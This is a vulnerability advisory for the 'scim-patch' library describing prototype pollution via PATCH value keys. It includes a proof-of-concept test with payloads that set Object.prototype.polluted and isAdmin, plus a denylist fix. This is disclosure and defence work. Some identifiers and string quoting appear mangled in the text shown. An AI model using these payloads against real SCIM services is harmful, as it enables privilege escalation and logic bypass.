Summary "scim-patch" performs prototype pollution when applying a SCIM PATCH operation whose "value" object contains a key like ""proto.someProp"". After one such patch, "Object.prototype.someProp" is set process-wide, affecting every plain object in the Node process. Any service that calls "scimPatch()" on attacker-controlled JSON (i.e. any SCIM endpoint accepting "PATCH" from an external IdP) is exploitable on a stock Node runtime. Impact - Class: Prototype pollution ("CWE-1321" (https://cwe.mitre.org/data/definitions/1321.html)) - Affected versions: "<= 0.9.0" (current HEAD "871b1e2") - Attack vector: Network — sent as part of a normal SCIM "PATCH /Users/:id" request body. - Privileges required: Whatever the SCIM endpoint requires. For most integrations that's a provisioned IdP, which is "low" in CVSS terms (any authenticated provisioning client). - Scope: Changed — the bug is in a SCIM library but the side effect ("Object.prototype" mutation) leaks into the entire Node process. Downstream consequences depend on what other code reads from plain objects. Realistic outcomes observed in similar bugs: - Privilege escalation if any auth/middleware code checks "actor.isAdmin" / "req.user.admin" / similar boolean flags against a plain object that expects the key to be absent. - Logic bypass / DoS if any code branches on "obj.name", "obj.type", "obj.id" etc. against plain objects (e.g. "pg"'s prepared-statement naming check — a real incident at one consumer). - Persistence: lasts until the Node process restarts, so the blast radius is every request that container handles after the pollution. Root cause In "src/scimPatch.ts:415-427", "addOrReplaceObjectAttribute" iterates the user-supplied "patch.value" with "Object.entries" and feeds each key to "resolvePaths", which splits on ".": function addOrReplaceObjectAttribute(property: any, patch: ScimPatchAddReplaceOperation, multiValuedPathFilter?: boolean): any { if (typeof patch.value !== 'object') { ... } // src/scimPatch.ts:423-427 for (const [key, value] of Object.entries(patch.value)) { assign(property, resolvePaths(key), value, patch.op); } return property; } "assign" then walks the resulting key path with no filtering on dangerous keys ("src/scimPatch.ts:437-445"): function assign(obj: any, keyPath: Array<string>, value: any, op: string) { const lastKeyIndex = keyPath.length - 1; for (let i = 0; i < lastKeyIndex; ++i) { const key = keyPath[i]; if (!(key in obj)) { obj[key] = {}; } obj = obj[key]; // ← obj["proto"] === Object.prototype } // ... assigns into Object.prototype } For "keyPath = ["proto", "polluted"]": - ""proto" in obj" is always true, so the fresh-object branch is skipped. - "obj = obj["proto"]" now points to "Object.prototype". - The final write lands on "Object.prototype.polluted". The same shape works for "constructor.prototype" keys. Proof of concept Drop this in "test/prototypePollution.test.ts" and run "npm run build && npx mocha lib/test/prototypePollution.test.js". Both tests pass against HEAD "871b1e2": import { scimPatch } from '../src/scimPatch'; import { ScimUser } from './types/types.test'; import { expect } from 'chai'; describe('Prototype pollution via scim-patch', () => { let scimUser: ScimUser; beforeEach(() => { scimUser = JSON.parse("{ "schemas": ["urn:ietf:params:scim:schemas:core:2.0:User"], "id": "tea_4", "userName": "spiderman", "name": { "familyName": "Parker", "givenName": "Peter" }, "active": true, "emails": [{ "value": "spiderman@superheroes.com", "primary": true }], "roles": [], "meta": { "resourceType": "User", "created": "x", "lastModified": "x", "location": "x" } }"); }); afterEach(() => { delete (Object.prototype as any).polluted; delete (Object.prototype as any).isAdmin; }); it('pollutes Object.prototype via a value-key containing proto', () => { expect(({} as any).polluted).to.equal(undefined); scimPatch(scimUser, [{ op: 'add', path: 'name', value: { 'proto.polluted': 'yes' } }]); expect((Object.prototype as any).polluted).to.equal('yes'); expect(({} as any).polluted).to.equal('yes'); }); it('elevates Object.prototype.isAdmin — the admin-escalation shape', () => { expect(({} as any).isAdmin).to.equal(undefined); scimPatch(scimUser, [{ op: 'add', path: 'name', value: { 'proto.isAdmin': true } }]); expect((Object.prototype as any).isAdmin).to.equal(true); expect(({} as any).isAdmin).to.equal(true); }); }); Suggested fix Reject the three dangerous keys in "assign()" before the walk. Minimal patch: const DANGEROUS_KEYS = new Set(['proto', 'constructor', 'prototype']); function assign(obj: any, keyPath: Array<string>, value: any, op: string) { for (const key of keyPath) { if (DANGEROUS_KEYS.has(key)) { throw new InvalidScimPatchOp("Forbidden key in patch path: ${key}"); } } // ... existing logic } Alternative, slightly safer: switch the walk target to "Object.create(null)" nodes when creating intermediate objects, and use "Object.defineProperty(obj, key, { value, enumerable: true, configurable: true, writable: true })" instead of "obj[key] = value" for the final write. That defends against future prototype-walking sinks even if a key sneaks past the denylist. Either approach is a non-breaking change — legitimate SCIM clients never send these keys. Mitigation for consumers who can't upgrade immediately Calling "Object.freeze(Object.prototype)" (and the same on "Array.prototype", "Function.prototype") at process startup neutralizes this class of bug — assignment to a frozen prototype becomes a silent no-op in sloppy mode or a "TypeError" in strict mode. Node's "--frozen-intrinsics" flag does this for built-ins automatically. Credit Discovered by Lee Wang (Notion). Reported by David Wu (Notion). Report authored by Claude. Reviewed by David Wu.